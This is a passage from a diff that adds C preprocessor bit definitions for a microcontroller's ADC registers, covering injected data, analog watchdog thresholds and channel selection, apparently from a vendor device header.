0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << 